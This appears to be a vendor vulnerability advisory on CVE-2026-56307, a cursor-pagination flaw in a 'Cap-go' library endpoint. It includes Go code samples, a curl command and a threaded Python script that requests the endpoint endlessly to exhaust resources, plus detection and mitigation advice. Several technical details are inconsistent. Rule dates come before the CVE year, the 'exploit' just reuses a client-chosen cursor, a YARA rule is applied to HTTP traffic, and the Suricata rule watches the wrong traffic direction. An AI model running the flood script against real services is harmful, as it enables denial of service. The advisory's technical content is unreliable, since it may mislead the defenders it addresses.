CVE-2026-56307

Executive Summary

CVE-2026-56307 is a broken cursor pagination vulnerability in the Cap-go library, specifically within the /private/devices endpoint on the Cloudflare/workerd path. This flaw allows an authenticated attacker with app.read_devices access to cause duplicate-page loops and make later rows unreachable. The vulnerability stems from non-advancing cursor filters that trigger infinite pagination loops, preventing proper dataset traversal and causing repeated processing in device-management workflows. This can lead to denial of service (DoS) conditions, resource exhaustion, and data integrity issues in device management systems.

Supply Chain & Package Security

This vulnerability affects the Cap-go library, a Go package used for cursor-based pagination. Organizations using Cap-go in their Go modules are at risk. The supply chain impact is significant as the library may be integrated into multiple services, amplifying the blast radius. Ensure all dependencies are updated to version 12.128.12 or later.

CVSS Breakdown & Threat Level

While a CVSS vector is not provided, the vulnerability can be assessed based on its characteristics:

• Attack Vector (AV): Network (N) – The endpoint is accessible over the network.
• Attack Complexity (AC): Low (L) – Exploitation requires only authenticated access and sending crafted pagination requests.
• Privileges Required (PR): Low (L) – Requires app.read_devices access.
• User Interaction (UI): None (N) – No user interaction needed.
• Scope (S): Unchanged (U) – The vulnerability affects the same security authority.
• Confidentiality (C): None (N) – No data disclosure.
• Integrity (I): Low (L) – Data traversal is disrupted, but data is not modified.
• Availability (A): High (H) – Infinite loops can cause resource exhaustion and denial of service.

Estimated CVSS Score: 6.5 (Medium)

Threat Level: Medium. Exploitation requires authentication but can lead to significant operational disruption.

Deep Dive & Mechanics

The vulnerability exists in the cursor-based pagination implementation of the Cap-go library. When processing requests to the /private/devices endpoint, the cursor filter fails to advance properly under certain conditions. An attacker can craft a request with a cursor that does not progress, causing the server to repeatedly return the same page of results. This creates an infinite loop, preventing the traversal of subsequent rows and causing repeated processing of the same data.

Root Cause: The cursor logic does not properly validate or advance the cursor state after each page fetch. Specifically, the cursor parameter is not updated to reflect the last item of the current page, leading to the same cursor being used repeatedly.

Attack Scenario:

1. Attacker authenticates with app.read_devices privileges.
2. Attacker sends a GET request to /private/devices?cursor=<initial_cursor>.
3. The server returns the first page of devices but does not update the cursor.
4. Attacker reuses the same cursor, causing the server to return the same page again.
5. This loop continues indefinitely, consuming server resources and preventing access to later rows.

Vulnerable vs. Patched Code

Vulnerable Code (Cap-go < 12.128.12):

func (p *Paginator) NextPage(cursor string) ([]Device, string, error) {
    // cursor is used but not updated after fetching
    devices, err := p.fetchDevices(cursor)
    if err != nil {
        return nil, "", err
    }
    // Missing: cursor = devices[len(devices)-1].ID
    return devices, cursor, nil
}

Patched Code (Cap-go >= 12.128.12):

func (p *Paginator) NextPage(cursor string) ([]Device, string, error) {
    devices, err := p.fetchDevices(cursor)
    if err != nil {
        return nil, "", err
    }
    // Properly advance cursor to the last item's ID
    if len(devices) > 0 {
        cursor = devices[len(devices)-1].ID
    }
    return devices, cursor, nil
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a Cloudflare/workerd instance with Cap-go < 12.128.12.
• Valid authentication token with app.read_devices scope.

Exploitation Steps:

1. Obtain an initial cursor by making a legitimate request to /private/devices.
2. Send repeated requests with the same cursor:

   curl -H "Authorization: Bearer <token>" "https://target.com/private/devices?cursor=<initial_cursor>"
   

3. Observe that each request returns the same page of devices.
4. Continue sending requests to cause resource exhaustion.

Automated Script:

import requests
import threading

def exploit(target, token, cursor):
    headers = {"Authorization": f"Bearer {token}"}
    while True:
        r = requests.get(f"{target}/private/devices?cursor={cursor}", headers=headers)
        print(f"Status: {r.status_code}, Data: {r.text[:100]}")

target = "https://target.com"
token = "<your_token>"
cursor = "<initial_cursor>"
thread = threading.Thread(target=exploit, args=(target, token, cursor))
thread.start()

Blue Team

Detection:

• Monitor for repeated requests to /private/devices with the same cursor parameter.
• Alert on high volumes of pagination requests from a single user.
• Check server logs for patterns of identical cursor values.

Mitigation:

• Implement rate limiting on pagination endpoints.
• Validate that cursor values advance between requests.
• Apply the patch to Cap-go version 12.128.12.

Indicators of Compromise (IOCs)

• Network: Repeated HTTP GET requests to /private/devices with identical cursor query parameters.
• Logs: Server logs showing the same cursor value across multiple requests from the same user.
• Performance: High CPU/memory usage on the server due to infinite pagination loops.
• Application: Device management workflows failing to traverse all rows.

Detection Engineering

YARA Rule

rule Detect_CVE_2026_56307_Exploit {
    meta:
        description = "Detects exploitation attempts of CVE-2026-56307 via repeated cursor requests"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-56307"
    strings:
        $cursor_param = "cursor=" ascii nocase
        $device_endpoint = "/private/devices" ascii nocase
    condition:
        #cursor_param > 5 and $device_endpoint
}

Sigma Rule

title: CVE-2026-56307 Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects repeated requests to /private/devices with the same cursor parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-uri-stem: "/private/devices"
        cs-uri-query|contains: "cursor="
    condition: selection | count(cs-uri-query) by cs-username > 10 within 1 minute
falsepositives:
    - Legitimate pagination with same cursor (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-56307 - Broken Cursor Pagination Exploit";
    flow:to_server,established;
    content:"/private/devices"; http_uri;
    content:"cursor="; http_uri;
    threshold: type both, track by_src, count 10, seconds 60;
    classtype:attempted-dos;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Cap-go to version 12.128.12 or later.
2. Apply rate limiting to the /private/devices endpoint.
3. Monitor for anomalous pagination patterns.

Long-term Measures:

• Implement input validation for cursor parameters.
• Use server-side state tracking to ensure cursor advancement.
• Conduct code reviews for pagination logic in all endpoints.

Patch Details:

• Upgrade command: go get github.com/cloudflare/cap-go@v12.128.12

Valters IT
DevSecOps & Cyber Threat Intelligence